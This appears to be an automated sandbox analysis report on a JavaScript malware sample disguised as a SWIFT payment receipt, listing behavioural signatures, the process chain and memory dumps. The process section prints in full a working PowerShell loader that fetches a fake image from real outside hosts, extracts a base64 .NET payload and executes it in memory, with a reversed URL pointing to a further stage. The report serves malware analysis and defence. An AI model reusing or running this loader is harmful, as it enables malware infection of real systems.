Analysis
- max time kernel
121s - max time network
123s - platform
windows7_x64 - resource
win7-20240215-en - resource tags
- submitted
23/02/2024, 16:23
General
- Target comprobante_swift89534657687.js
- Size 1KB
- Sample240223-tvs3nsda98
- SHA256 41f76926477c7f8759900567ced4e5e1f9057e40d2a151badc873d23f372997e
Malware Config
Signatures
- Blocklisted process makes network request 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\comprobante_swift89534657687.js1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482', 'http://45.74.19.84/xampp/bkp/js_bkp.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.diord46esab/19.412.542.271//:ptth' , 'desativado' , 'C:\ProgramData\' , 'Name'))}}2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
memory/2256-16-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp
memory/2256-17-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp
memory/2512-22-0x000000001B660000-0x000000001B942000-memory.dmp
memory/2512-24-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2512-25-0x00000000021D0000-0x00000000021D8000-memory.dmp
memory/2512-23-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp
memory/2512-27-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2512-28-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2512-26-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp
memory/2512-29-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2512-30-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp
memory/2512-31-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2512-32-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2512-33-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2512-34-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2512-35-0x000000001AE70000-0x000000001B3BC000-memory.dmp
memory/2512-36-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp